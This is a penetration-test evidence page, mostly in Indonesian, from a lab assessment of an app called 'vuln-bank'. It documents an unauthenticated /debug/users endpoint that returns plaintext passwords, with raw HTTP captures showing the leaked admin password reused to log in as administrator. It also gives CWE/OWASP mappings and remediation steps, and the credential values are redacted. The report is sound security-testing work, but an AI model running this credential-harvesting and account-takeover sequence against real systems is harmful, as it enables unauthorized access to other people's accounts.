Skenario 13 / 26FAIL
Sensitive Data Exposure - Debug Endpoint - User Credentials
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials
Deskripsi
Endpoint /debug/users dapat diakses tanpa autentikasi dan mengembalikan seluruh tabel pengguna, termasuk kolom password. Password disimpan dalam bentuk teks terang, bukan hash, sehingga langsung dapat dipakai.
Dampak
Confidentiality (High, berujung kompromi penuh): siapa pun tanpa kredensial dapat mengunduh username, password teks terang, nomor rekening, dan penanda administrator seluruh nasabah. Pada pengujian, password administrator yang diperoleh dari endpoint ini langsung dipakai untuk login sebagai administrator. Karena password kerap digunakan ulang, dampaknya meluas ke luar aplikasi.
CWE
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
OWASP
A01:2021 - Broken Access Control
Skenario
Kontrol: /dashboard tanpa token ditolak dengan HTTP 401, menunjukkan aplikasi memang memiliki lapisan autentikasi. Eksploitasi: /debug/users diakses tanpa token apa pun -> HTTP 200 berisi seluruh kredensial. Dampak: password administrator hasil bocoran dipakai login dan menghasilkan token dengan is_admin true.
Endpoint
GET http://127.0.0.1:5001/debug/users
Fitur terdampak
Endpoint debug yang tertinggal di build produksi
Rekomendasi perbaikan
- Hapus endpoint debug dari kode yang dikirim ke produksi; jangan hanya menyembunyikannya.
- Simpan password sebagai hash ber-salt (bcrypt/argon2) dan jangan pernah mengembalikan kolom password dari query mana pun.
- Terapkan autentikasi dan otorisasi secara default (deny by default) pada seluruh rute.
- Lakukan rotasi seluruh kredensial yang pernah terekspos.
Bukti konsep
1) (Screenshot 1) KONTROL: /dashboard tanpa token -> HTTP 401 Token is missing, autentikasi memang ada.
2) (Screenshot 2) EKSPLOITASI: /debug/users tanpa autentikasi -> HTTP 200 berisi seluruh pengguna dengan password teks terang.
3) (Screenshot 3) DAMPAK CIA: password administrator hasil bocoran dipakai login -> token administrator terbit, is_admin true.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Sensitive Data Exposure - Debug Endpoint - User Credentials
Description:
Endpoint /debug/users dapat diakses tanpa autentikasi dan mengembalikan seluruh tabel pengguna, termasuk kolom password. Password disimpan dalam bentuk teks terang, bukan hash, sehingga langsung dapat dipakai.
Impact:
Confidentiality (High, berujung kompromi penuh): siapa pun tanpa kredensial dapat mengunduh username, password teks terang, nomor rekening, dan penanda administrator seluruh nasabah. Pada pengujian, password administrator yang diperoleh dari endpoint ini langsung dipakai untuk login sebagai administrator. Karena password kerap digunakan ulang, dampaknya meluas ke luar aplikasi.
CWE:
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
OWASP:
A01:2021 - Broken Access Control
Scenario:
Kontrol: /dashboard tanpa token ditolak dengan HTTP 401, menunjukkan aplikasi memang memiliki lapisan autentikasi. Eksploitasi: /debug/users diakses tanpa token apa pun -> HTTP 200 berisi seluruh kredensial. Dampak: password administrator hasil bocoran dipakai login dan menghasilkan token dengan is_admin true.
Endpoint:
GET http://127.0.0.1:5001/debug/users
Affected Feature:
Endpoint debug yang tertinggal di build produksi
Remediation:
- Hapus endpoint debug dari kode yang dikirim ke produksi; jangan hanya menyembunyikannya.
- Simpan password sebagai hash ber-salt (bcrypt/argon2) dan jangan pernah mengembalikan kolom password dari query mana pun.
- Terapkan autentikasi dan otorisasi secara default (deny by default) pada seluruh rute.
- Lakukan rotasi seluruh kredensial yang pernah terekspos.
POC:
1) (Screenshot 1) KONTROL: /dashboard tanpa token -> HTTP 401 Token is missing, autentikasi memang ada.
2) (Screenshot 2) EKSPLOITASI: /debug/users tanpa autentikasi -> HTTP 200 berisi seluruh pengguna dengan password teks terang.
3) (Screenshot 3) DAMPAK CIA: password administrator hasil bocoran dipakai login -> token administrator terbit, is_admin true.
02 — Tangkapan layar
Tangkapan layar (3)
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
GET /dashboard HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 401 UNAUTHORIZED
Content-Type: application/json
Content-Length: 34
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:18 GMT
{
"error": "Token is missing"
}REKAMAN 02 / 2
GET /debug/users HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 816
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:19 GMT
{
"users": [
{
"account_number": "ADMIN001",
"id": 1,
"is_admin": true,
"password": "[REDACTED-LAB-VALUE]",
"username": "admin"
},
{
"account_number": "7503483798",
"id": 4,
"is_admin": false,
"password": "[REDACTED-LAB-VALUE]",
"username": "ma_normal_user"
},
{
"account_number": "7658808238",
"id": 5,
"is_admin": true,
"password": "[REDACTED-LAB-VALUE]",
"username": "ma_evil_admin"
},
{
"account_number": "9159912486",
"id": 3,
"is_admin": false,
"password": "[REDACTED-LAB-VALUE]",
"username": "pentest_victim"
},
{
"account_number": "0932191785",
"id": 2,
"is_admin": false,
"password": "[REDACTED-LAB-VALUE]",
"username": "pentest_attacker"
}
]
}REKAMAN 03 / 3
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 45
Content-Type: application/json
{"username": "admin", "password": "[REDACTED-LAB-VALUE]"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:20 GMT
{
"accountNumber": "ADMIN001",
"debug_info": {
"account_number": "ADMIN001",
"is_admin": true,
"login_time": "2026-09-30 03:02:20.186000",
"user_id": 1,
"username": "admin"
},
"isAdmin": true,
"message": "Login successful",
"status": "success",
"token": "[REDACTED-LAB-VALUE]"
}